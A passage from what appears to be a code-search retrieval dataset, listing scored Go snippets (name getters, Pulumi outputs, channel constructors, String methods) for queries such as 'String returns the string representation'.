{\n\t\tsink.EncodeCaller = c.EncodeCaller\n\t}\n\tif sink.EncodeName == nil {\n\t\tsink.EncodeName = c.EncodeName\n\t}\n\treturn sink, ok\n}", "title": "" }, { "docid": "fd8643ef4be2ecd7e2dcf128dff4edb3", "score": "0.41554603", "text": "func (c ConnectionAcceptors) ForName(name string) (factory ConnectionAcceptor, ok bool) {\n\t// Using a slice assuming few enties would exist and therefore perform better than a map.\n\tfor _, item := range c {\n\t\tif item.Name == name {\n\t\t\treturn item.Accept, true\n\t\t}\n\t}\n\n\treturn nil, false\n}", "title": "" }, { "docid": "56f832c2f9c0f6b8a04ff3afb441c511", "score": "0.41551983", "text": "func (m *ChannelRenamedEventMessageDetail) SetChannelDisplayName(value *string)() {\n m.channelDisplayName = value\n}", "title": "" }, { "docid": "a0eae0918da2c41c84e1f3dae3e3be45", "score": "0.41477162", "text": "func (xcfg *XConfig) Export(data map[string]interface{}) error {\n\tif len(xcfg.Dir) != 0 {\n\t\tdata[\"dir\"] = xcfg.Dir\n\t}\n\tif xcfg.MaxSize > 0 {\n\t\tdata[\"max_size\"] = readableMaxSize(int(xcfg.MaxSize))\n\t}\n\tif xcfg.MaxBackups > 0 {\n\t\tdata[\"max_backups\"] = xcfg.MaxBackups\n\t}\n\tif len(xcfg.MaxAge) != 0 {\n\t\tif maxAge, err := time.ParseDuration(xcfg.MaxAge); err != nil {\n\t\t\treturn fmt.Errorf(\"invalid 'MaxAge' (%s)\", err)\n\t\t} else if min := int(maxAge / time.Minute); min > 0 {\n\t\t\t// The 'MaxAge' should be greater than or equal to one minute at least.\n\t\t\tdata[\"max_age\"] = readableMaxAge(min)\n\t\t}\n\t}\n\tif len(xcfg.Tag) != 0 {\n\t\tdata[\"tag\"] = xcfg.Tag\n\t}\n\tif xcfg.Level > 0 && xcfg.Level < len(levelReadable) {\n\t\tdata[\"level\"] = levelReadable[xcfg.Level]\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "5de3cff0fbf652bbf097976efe1d09b8", "score": "0.41444525", "text": "func (o ClusterSettingOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ClusterSetting) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "ac09e9ad97103e986fa5c86deaa90456", "score": "0.41327974", "text": "func (p *Sink) Name() string {\n\treturn p.name\n}", "title": "" }, { "docid": "8fbfbf73c9e5371c158a19739d95bbbd", "score": "0.4129705", "text": "func (cfg StickerCfg) Name() string {\n\treturn sendStickerMethod\n}", "title": "" }, { "docid": "b5332d7e998772174838b14a3476e67b", "score": "0.41294408", "text": "func (_ GitConfig) Name() string {\n\treturn GitConfigName\n}", "title": "" }, { "docid": "e38bd7a6a968371e9249e7a719bc0208", "score": "0.41290233", "text": "func (o *AddUserIntoSessionInChannelParams) SetChannelName(channelName string) {\n\to.ChannelName = channelName\n}", "title": "" }, { "docid": "42c5daabf994563ac9245578fab6f699", "score": "0.41213545", "text": "func (o CustomActionTypeConfigurationPropertiesOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v CustomActionTypeConfigurationProperties) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "b120aa9da1916681d5e6ca8070a504a3", "score": "0.41170645", "text": "func (ep *Endpoints) CollectorConfigurationName(id string) (*url.URL, error) {\n\t// /plugins/org.graylog.plugins.collector/configurations/:id/name\n\treturn urlJoin(ep.collectorConfigurations, fmt.Sprintf(\"%s/name\", id))\n}", "title": "" }, { "docid": "905177bead83ee0ebfc5d9e328a2272a", "score": "0.4107811", "text": "func (cfg VideoCfg) Name() string {\n\treturn sendVideoMethod\n}", "title": "" }, { "docid": "fb272266d019de5e02c9f346e46d33fb", "score": "0.41063708", "text": "func (o ReleaseConfigOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *ReleaseConfig) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "2abea29dbcd038bdfb1d222ebd149a23", "score": "0.40944245", "text": "func (cfg VenueCfg) Name() string {\n\treturn sendVenueMethod\n}", "title": "" }, { "docid": "10082c998b10b9fef3bbf0c2334a1a2d", "score": "0.40881526", "text": "func (ps ApiParams) ByName(name string) string {\n\tfor i := range ps {\n\t\tif ps[i].Key == name {\n\t\t\treturn ps[i].Value\n\t\t}\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "796e3d036cc5c8c461fae17ede84c91e", "score": "0.40865266", "text": "func (m *ChannelRenamedEventMessageDetail) GetChannelDisplayName()(*string) {\n return m.channelDisplayName\n}", "title": "" }, { "docid": "c86e8215a37124b663227a2d51788a08", "score": "0.4079329", "text": "func GetChannelName(sourceID, eventType, eventTypeVersion *string) string {\n\treturn fmt.Sprintf(\"%s%s%s%s%s\",\n\t\t*truncate(escapeHyphensAndPeriods(sourceID), publish.SourceIdMaxLength), delimiter,\n\t\t*truncate(escapeHyphensAndPeriods(eventType), publish.EventTypeMaxLength), delimiter,\n\t\t*escapeHyphensAndPeriods(eventTypeVersion))\n}", "title": "" }, { "docid": "6af6313705f2872c97746236599251b7", "score": "0.40779635", "text": "func NewChannel(addr, channelName string) (*Channel, error) {\n\tchannelPath := fmt.Sprintf(\"/channel/%s\", channelName)\n\tu := url.URL{Scheme: \"ws\", Host: addr, Path: channelPath}\n\tlogger.Debugf(\"connecting to %s\", u.String())\n\n\tconn, _, err := websocket.DefaultDialer.Dial(u.String(), nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"dial: %v\", err)\n\t}\n\n\tchannel := &Channel{\n\t\tconn: conn,\n\t\tReceive: make(chan string),\n\t}\n\n\treturn channel, nil\n}", "title": "" }, { "docid": "9f34af5180f26b39bda59d1adfd830fd", "score": "0.40777963", "text": "func ByName(name string) *Registration {\n\tr, ok := registry[name]\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn &r\n}", "title": "" }, { "docid": "9214bd500803d5a03aa0fc35c2777f15", "score": "0.40771487", "text": "func (o SinkOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Sink) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "b3f4b0a82091d8a19db829820845aacf", "score": "0.40747416", "text": "func (c *channelServive) DestroyChannel(name string) {\n\tif channel, ok := c.channels[name]; ok {\n\t\tchannel.Destroy()\n\t}\n}", "title": "" }, { "docid": "5ffe0e723102bb85097beae78de6259f", "score": "0.40716827", "text": "func NewChannel(name, namespace string, so ...ChannelOption) *v1alpha1.Channel {\n\ts := &v1alpha1.Channel{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t\tNamespace: namespace,\n\t\t},\n\t}\n\tfor _, opt := range so {\n\t\topt(s)\n\t}\n\ts.SetDefaults(context.Background())\n\treturn s\n}", "title": "" }, { "docid": "5cf80aae7de90de7d54fa6a935598373", "score": "0.4069993", "text": "func (c *Contracts) ByName(name string) (*Contract, error) {\n\tfor _, contract := range *c {\n\t\tif contract.Name == name {\n\t\t\treturn &contract, nil\n\t\t}\n\t}\n\n\treturn nil, fmt.Errorf(\"contract named %s does not exist in configuration\", name)\n}", "title": "" }, { "docid": "c199cd9341643e4729542fcbc96bdf81", "score": "0.40671507", "text": "func (cols Columns) GroupByName() map[string][]Column {\n\tres := make(map[string][]Column)\n\tfor _, col := range cols {\n\t\tif _, ok := res[col.Name]; ok {\n\t\t\tres[col.Name] = append(res[col.Name], col)\n\t\t} else {\n\t\t\tres[col.Name] = []Column{col}\n\t\t}\n\t}\n\n\treturn res\n}", "title": "" }, { "docid": "57cda1fcb49d04513d380e97bdd8813e", "score": "0.4066067", "text": "func (h *HostCfg) Name() string {\n\treturn fmt.Sprintf(\"%v <-> %v\", h.Src.Addr(), h.Dst.Addr())\n}", "title": "" }, { "docid": "1039ce29be0e6aa6a6096f8a943bf182", "score": "0.4061249", "text": "func NewChannel(serv *Ircd, name string) *Channel {\n\treturn &Channel{name: name}\n}", "title": "" }, { "docid": "0d74e874df849eb61c4a25767f094290", "score": "0.40570006", "text": "func (c *KafkaConsumer) Name() string {\n\treturn c.ConfigMap[\"group.id\"].(string)\n}", "title": "" }, { "docid": "cc501e1f7d6f5f853d940580c0bb8146", "score": "0.40565827", "text": "func writeToChannel(s string) {\n\tfmt.Println(\"Writing to channel: \", s)\n}", "title": "" }, { "docid": "af46772a1da76fa352e8213d79ae3b8d", "score": "0.40562898", "text": "func (m *reportModule) Name() string {\n\treturn moduleName\n}", "title": "" }, { "docid": "6a2990cea6f0fd88b76cb87e99512ba7", "score": "0.40549907", "text": "func (o ConfigMapKeySelectorPtrOutput) Name() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ConfigMapKeySelector) *string { return v.Name }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "f3d976244cd3ba13ffd21451ed60886b", "score": "0.40519357", "text": "func Export(opts config.Options, args []string) {\n\t// TODO\n}", "title": "" }, { "docid": "d393495d900d6a67a80ae5fc8df68933", "score": "0.4041903", "text": "func (r *Channel) Default() {\n\tchannellog.Info(\"default\", \"name\", r.Name)\n\n\t// TODO(user): fill in your defaulting logic.\n}", "title": "" }, { "docid": "e99bd7063b57cb77db0c99e91eeeb88c", "score": "0.4034071", "text": "func (o ConnectionClassicCertificateOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *ConnectionClassicCertificate) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "c02889a74a6bd48e60aa533b9ddb1337", "score": "0.40240276", "text": "func (c *pipelineClient) GetByName(ctx context.Context, name string) (*types.GitDeploy, error) {\n\tvar queryStruct struct {\n\t\tSpace struct {\n\t\t\tGitDeploys []struct {\n\t\t\t\tId graphql.String\n\t\t\t\tName graphql.String\n\t\t\t\tStatus graphql.String\n\t\t\t}\n\t\t} `graphql:\"space(id: $id)\"`\n\t}\n\tvariables := map[string]interface{}{\n\t\t\"id\": graphql.String(Context().Namespace),\n\t}\n\terr := query(ctx, &queryStruct, variables, c.client)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, gitDeploy := range queryStruct.Space.GitDeploys {\n\t\tif string(gitDeploy.Name) == name {\n\t\t\treturn &types.GitDeploy{\n\t\t\t\tID: string(gitDeploy.Id),\n\t\t\t\tName: string(gitDeploy.Name),\n\t\t\t\tStatus: string(gitDeploy.Status),\n\t\t\t}, nil\n\t\t}\n\t}\n\treturn nil, oktetoErrors.ErrNotFound\n}", "title": "" }, { "docid": "ceace1850219b3054fdde301c9f3b7de", "score": "0.40184015", "text": "func (c CfgOutput) FormatName() string {\n\treturn c[\"format\"]\n}", "title": "" }, { "docid": "4a4f26dbeb847c0c59fc34d8b5a8cb64", "score": "0.4015015", "text": "func NameFromChan(c <-chan string, timeout time.Duration) string {\n\tselect {\n\tcase val := <-c:\n\t\treturn val\n\tcase <-time.After(timeout):\n\t\treturn \"Nothing returned\"\n\t}\n}", "title": "" }, { "docid": "e8294560ececf6d9c334358919a78538", "score": "0.4009418", "text": "func (c *Egts) OutputChannel() chan []byte {\n\treturn nil\n}", "title": "" }, { "docid": "c3effb6524f9812b8f6a54d2d4227f13", "score": "0.40071648", "text": "func (o ConfigMapKeySelectorResponseOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ConfigMapKeySelectorResponse) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "a4f88add28b95b8e537e8fc79641745e", "score": "0.399973", "text": "func (*Config) Name() string {\n\treturn \"store\"\n}", "title": "" }, { "docid": "c80f6b4a4485b9bbbe00cb3046700440", "score": "0.39996994", "text": "func (c *PodConfig) Channel(source string) chan<- interface{} {\n\tc.sourcesLock.Lock()\n\tdefer c.sourcesLock.Unlock()\n\tc.sources.Insert(source)\n\treturn c.mux.Channel(source)\n}", "title": "" }, { "docid": "72476cadd468a61a9285d22cd96b7aee", "score": "0.39996153", "text": "func (o ConfigEntryOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *ConfigEntry) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "f4692d3b6f4c8cf4ec58b1bd76d30d8b", "score": "0.39912495", "text": "func ChannelWebhookByName(s *dream.Session, channelID string, webhookname string) (*discordgo.Webhook, error) {\n\twebhooks, err := s.DG.ChannelWebhooks(channelID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, w := range webhooks {\n\t\tif w.Name == webhookname {\n\t\t\treturn w, nil\n\t\t}\n\t}\n\n\treturn nil, ErrWebhookNotFound\n}", "title": "" } ]
1dab691f1311c4e656e1ecbf69c84ed8
String returns the string representation
[ { "docid": "ef57b1091283782ab371d60069b5580e", "score": "0.0", "text": "func (s CreateLocationNfsOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" } ]
[ { "docid": "ec007bbe3327b5255b8b1c9f1bd93d5e", "score": "0.7395052", "text": "func (r QueryResCheckProof) String() string {\n\tjson, _ := json.Marshal(r)\n\treturn string(json)\n}", "title": "" }, { "docid": "da4d8b897637d127f500cb4192484dc7", "score": "0.7215058", "text": "func (s CreateAlgorithmOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "cdd3975194547c61a108d58ed15e80f9", "score": "0.72000957", "text": "func (s CreateCanaryOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "c83a5bd12162ec99d9b1a53614b442ab", "score": "0.71656793", "text": "func (s CreateSipRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "db8842fe62264dda9500171233b2527b", "score": "0.7136329", "text": "func (e *Output) String() string {\n\ts, _ := json.Marshal(e)\n\treturn string(s)\n}", "title": "" }, { "docid": "520165f795f98fe572fcdc518731680a", "score": "0.71093225", "text": "func (format Format) String() string {\n\tif b, err := format.MarshalText(); err == nil {\n\t\treturn string(b)\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "2d6c072e1bff1f4a686a5542f18a5fe9", "score": "0.7057528", "text": "func (c Clips) String() string {\n\tjc, _ := json.Marshal(c)\n\treturn string(jc)\n}", "title": "" }, { "docid": "1472055af0168dc370ab058189f85504", "score": "0.7056295", "text": "func (o *Analyticsproposedagent) String() string {\n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "bf22b02f24978fee496d5e512b792759", "score": "0.70489895", "text": "func (s *storeImpl) String() string {\n\treturn s.root.print(0)\n}", "title": "" }, { "docid": "0137340e8f3253deab5174b9d62ec007", "score": "0.7044831", "text": "func (o *Trustrequestcreate) String() string {\n o.UserIds = []string{\"\"} \n o.GroupIds = []string{\"\"} \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "b9d2c9ac285fd4432653ddb865e3c664", "score": "0.7029217", "text": "func (r Recipes) String() string {\n\tjr, _ := json.Marshal(r)\n\treturn string(jr)\n}", "title": "" }, { "docid": "8832ec20e073665e1076cc5c9bd161ee", "score": "0.7028946", "text": "func (o *Digitalcondition) String() string {\n \n \n \n \n \n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "08080e32f3d4e3b2796729e5983bc821", "score": "0.7022526", "text": "func (s Extra) String() string {\n\tres := make([]string, 6)\n\tres[0] = \"ID: \" + reform.Inspect(s.ID, true)\n\tres[1] = \"Name: \" + reform.Inspect(s.Name, true)\n\tres[2] = \"Bytes: \" + reform.Inspect(s.Bytes, true)\n\tres[3] = \"Bytes2: \" + reform.Inspect(s.Bytes2, true)\n\tres[4] = \"Byte: \" + reform.Inspect(s.Byte, true)\n\tres[5] = \"Array: \" + reform.Inspect(s.Array, true)\n\treturn strings.Join(res, \", \")\n}", "title": "" }, { "docid": "4227d23b7db534200fb84a55e9ba6e09", "score": "0.7020032", "text": "func (g GroupTour) String() string {\n\tjg, _ := json.Marshal(g)\n\treturn string(jg)\n}", "title": "" }, { "docid": "86db9e500a890f3e8a5a4e83baf135a0", "score": "0.70127267", "text": "func (s RestoreObjectOutput) String() string {\n\treturn helper.Prettify(s)\n}", "title": "" }, { "docid": "37b155138c139822d50b994c5a3331e5", "score": "0.7010184", "text": "func (s CreateHITTypeOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "fc77724b5b5fb6ad25a57c6f9f290bd7", "score": "0.7002574", "text": "func (s CreateHITOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "37ae39d3ccfcc677077bc3f72107897b", "score": "0.6996832", "text": "func (s CreateProjectVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f567f4d9cc26fe5a2b4c893f59399681", "score": "0.69932973", "text": "func (s OutputSerialization) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f567f4d9cc26fe5a2b4c893f59399681", "score": "0.69932973", "text": "func (s OutputSerialization) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "427583d39f7eb5e3589cf3a93cec6205", "score": "0.6991622", "text": "func (s CreateEntityRecognizerOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "329138c2f7911a48ea9c7a5663fdc43c", "score": "0.69891053", "text": "func (r Record) String() string {\n\ts, _ := r.Marshal()\n\treturn string(s)\n}", "title": "" }, { "docid": "d8185db0b98df24641e3555ce5618619", "score": "0.6986732", "text": "func (s CodegenGenericDataNonModel) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7a41282ddfe1fb25d6379908b4ee8cca", "score": "0.69831926", "text": "func (o *Schedulegenerationresult) String() string {\n \n \n \n o.Messages = []Schedulegenerationmessage{{}} \n o.MessageSeverities = []Schedulermessagetypeseverity{{}} \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "a494ef93c257a9c37a4cfcebd4b6998e", "score": "0.6980524", "text": "func (m Lyric) String() string {\n\treturn fmt.Sprintf(\"%T: %#v\", m, m.Text())\n}", "title": "" }, { "docid": "be7daba54fa9cf50b37c2372f8b9d03f", "score": "0.69791585", "text": "func (s CreateKxDatabaseOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7e1dc3b76e617a56b057009fc425a44c", "score": "0.6978618", "text": "func (s CreateSolutionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "63062bc65338c89109fabccd65405752", "score": "0.6975082", "text": "func (s Replay) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "edea32e6794e33a9ff01a58b4f666123", "score": "0.69603413", "text": "func (s CreateSolutionVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0db46e4d413d7ef3e68390fe7046ed48", "score": "0.6958592", "text": "func (s RedactChannelMessageOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0e453919c23e79a82f7fa0e1ebf43961", "score": "0.6956877", "text": "func (stats *Stats) String() string {\n\tvar b bytes.Buffer\n\tstats.Print(&b)\n\treturn b.String()\n}", "title": "" }, { "docid": "6a8ddfaa6e1969adedabc1176b65432b", "score": "0.6956473", "text": "func (s CreateQualificationTypeOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f83e33b3cb9505975437ce9769ed0e90", "score": "0.69549096", "text": "func String() string {\n\treturn Get()\n}", "title": "" }, { "docid": "0853bf682facb857bf899ef1cba0a457", "score": "0.6952188", "text": "func (t tInfo) String() string {\n\tf, w, i := t.getAll()\n\treturn fmt.Sprintf(\"%02x:%02x:%d\", f, w, i)\n}", "title": "" }, { "docid": "4f146ee06ae1d70287b1769c210796d7", "score": "0.69520515", "text": "func (o *Queueutilizationdiagnostic) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "15554db724f9a32bda5b2d389ae7af67", "score": "0.695193", "text": "func (s *store) String() string {\n\treturn s.root.print(0)\n}", "title": "" }, { "docid": "4dec7e7982a96fd50bc9d28f68259673", "score": "0.69501793", "text": "func (s StartReplayOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "4053670e5622ba1dfd39768b0bc15524", "score": "0.69486177", "text": "func (b *Binary) String() string {\n\tif b == nil {\n\t\treturn \"<nil>\"\n\t}\n\treturn fmt.Sprintf(\"&Binary{Subtype:%d, Data:%#v}\", b.Subtype, b.Data)\n}", "title": "" }, { "docid": "5414906c190f5389f44e1f64fc727b0b", "score": "0.69464415", "text": "func (o *Worktypecreate) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "62139d383a9352c35a1017272ea215eb", "score": "0.69460964", "text": "func (s CreateRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "db558f20eaf3407b71a07c20cf1c7e8d", "score": "0.69424075", "text": "func String(encodable Encodable) (string, error) {\n\tencd := bytes.Buffer{}\n\tif err := encodable.Encode(&encd); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn encd.String(), nil\n}", "title": "" }, { "docid": "53da424ddfd66edc586c234353fdb946", "score": "0.6939724", "text": "func (s CreateStackOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "53da424ddfd66edc586c234353fdb946", "score": "0.6939724", "text": "func (s CreateStackOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "2407e9d59a60df678cefb91d039039af", "score": "0.693922", "text": "func (s GetSipRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "8d551f9c9c6e8fdd42a4525062a430ec", "score": "0.69369525", "text": "func (s TranslationIsoFormats) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a258768e1ec89dce6e5ff4b9c4665e8e", "score": "0.6935911", "text": "func (s DescribeFeatureTransformationOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0a71ab8f05506651cfd85d531ae631bb", "score": "0.69312066", "text": "func (s CreateThesaurusOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "6cb9e63dcbb92f288fc3d2fbf5b2d1b7", "score": "0.69294906", "text": "func (o *Reportingturnaction) String() string {\n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "42012657dfcf41498b818ec3722ef7b7", "score": "0.69287163", "text": "func (s CreateRateBasedRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "adef145cc716637838723b8ad7331b27", "score": "0.6928428", "text": "func (s StartCanaryOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "adef145cc716637838723b8ad7331b27", "score": "0.6928428", "text": "func (s StartCanaryOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3b3ea8085c21d11a318ee263475a0261", "score": "0.69257265", "text": "func (s CreateFlywheelOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7cecd17575cadd63d9bd0cca9fd43a3f", "score": "0.69235957", "text": "func (p Problem) String() string {\n\tb, _ := json.Marshal(p)\n\treturn string(b)\n}", "title": "" }, { "docid": "c888b42fa516bb64f8356548203c1e07", "score": "0.69232535", "text": "func (s DefineExpressionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "77be63b622be0c28ffdf52d02bb3eeb2", "score": "0.6921127", "text": "func (a ACOS) String() string {\n\tja, _ := json.Marshal(a)\n\treturn string(ja)\n}", "title": "" }, { "docid": "af16d1bd8d4fe3262c53ef582e925394", "score": "0.69204015", "text": "func (o *Testmoderesults) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "0a4951aca5536cdd7f3b0e6fd63268bf", "score": "0.69188565", "text": "func (n *node) String() string {\n\treturn fmt.Sprintf(\"{meta:%v, fixed:%t, minSatisfyingVersion:%v}\", n.meta, n.fixed, n.minSatisfyingVersion)\n}", "title": "" }, { "docid": "eb0758a670111889abf2b40069751575", "score": "0.6915167", "text": "func (r Recipe) String() string {\n\tjr, _ := json.Marshal(r)\n\treturn string(jr)\n}", "title": "" }, { "docid": "8185a525fe70c2d10b5e52328cae688b", "score": "0.69141936", "text": "func (r Registration) String() string {\n\tjr, _ := json.Marshal(r)\n\treturn string(jr)\n}", "title": "" }, { "docid": "ca0c58daaf0d87b2eedeef4d2b21efff", "score": "0.6913508", "text": "func (o *Learningassessment) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "cc078a3efd8f4ab892ce29e735af0651", "score": "0.69133043", "text": "func (m *T3) String() string {\n x := &m.matrix\n return fmt.Sprintf(\"%f %f %f\\n\"+\n \"%f %f %f\\n\"+\n \"%f %f %f\\n\"+\n \"%f %f %f\\n\",\n x[0], x[1], x[2],\n x[3], x[4], x[5],\n x[6], x[7], x[8],\n x[9], x[10], x[11])\n}", "title": "" }, { "docid": "d4d664d42c1264e369743ce67c40523c", "score": "0.69123167", "text": "func (r QueryResCheckRequests) String() string {\n\tjson, _ := json.Marshal(r)\n\treturn string(json)\n}", "title": "" }, { "docid": "491ec12d0e658fbc1c5d00228f7966d3", "score": "0.69123024", "text": "func (s RebuildEnvironmentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "ee1c82439f428593804e7d41e67a88bb", "score": "0.6911058", "text": "func (s DeleteAlgorithmOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f3d17e2063beb77383a36ea3b5385691", "score": "0.69106245", "text": "func (s CanaryCodeOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f3d17e2063beb77383a36ea3b5385691", "score": "0.69106245", "text": "func (s CanaryCodeOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "2a7047abe98f55cdae1f8f9737cdce8d", "score": "0.6910465", "text": "func (s GetRawMessageContentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "ad47f192d74a333770b858cab44b6f33", "score": "0.6909528", "text": "func (i *Info) String() string {\n\tb, _ := json.Marshal(i)\n\treturn string(b)\n}", "title": "" }, { "docid": "a5f154353fbe365afb8ad8ced471efce", "score": "0.690952", "text": "func (a Answers) String() string {\n\tja, _ := json.Marshal(a)\n\treturn string(ja)\n}", "title": "" }, { "docid": "7d8fb6be9b020d11465e9adcc8ce4d23", "score": "0.69052833", "text": "func (r *Resource) String() string {\n\tbs, err := r.MarshalJSON()\n\tif err != nil {\n\t\treturn \"<\" + err.Error() + \">\"\n\t}\n\treturn strings.TrimSpace(string(bs)) + r.options.String()\n}", "title": "" }, { "docid": "79249e6cc9b94d1e1cdf4599277a1612", "score": "0.6903937", "text": "func (o *Provisioninfo) String() string {\n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "42cb2a1938d71b576d0f59f207efe6c5", "score": "0.6903488", "text": "func (id Identification) String() string {\n\tstr, err := json.MarshalIndent(id, \"\", \" \")\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn fmt.Sprintf(\"%s\", str)\n}", "title": "" }, { "docid": "78ba1519c3923aa3f09f81c2569e4238", "score": "0.6900515", "text": "func (s CancelReplayOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "796dddc637d58c65df620d369b284781", "score": "0.69000846", "text": "func (c Clip) String() string {\n\tjc, _ := json.Marshal(c)\n\treturn string(jc)\n}", "title": "" }, { "docid": "5d0ef855212dd74d9c8f6bdec1114922", "score": "0.6895479", "text": "func (o *Limitchangerequestdetails) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "e1ccf1817f41db110a0412aa9173cc4b", "score": "0.68944854", "text": "func (s CreateDetectorOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e1ccf1817f41db110a0412aa9173cc4b", "score": "0.68944854", "text": "func (s CreateDetectorOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "c1e61dcc3f2c005835b59fad0a71e8da", "score": "0.6894107", "text": "func (s CreateResolverRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "c7b28830138ec71f64ffc63011643b2e", "score": "0.6892943", "text": "func (s 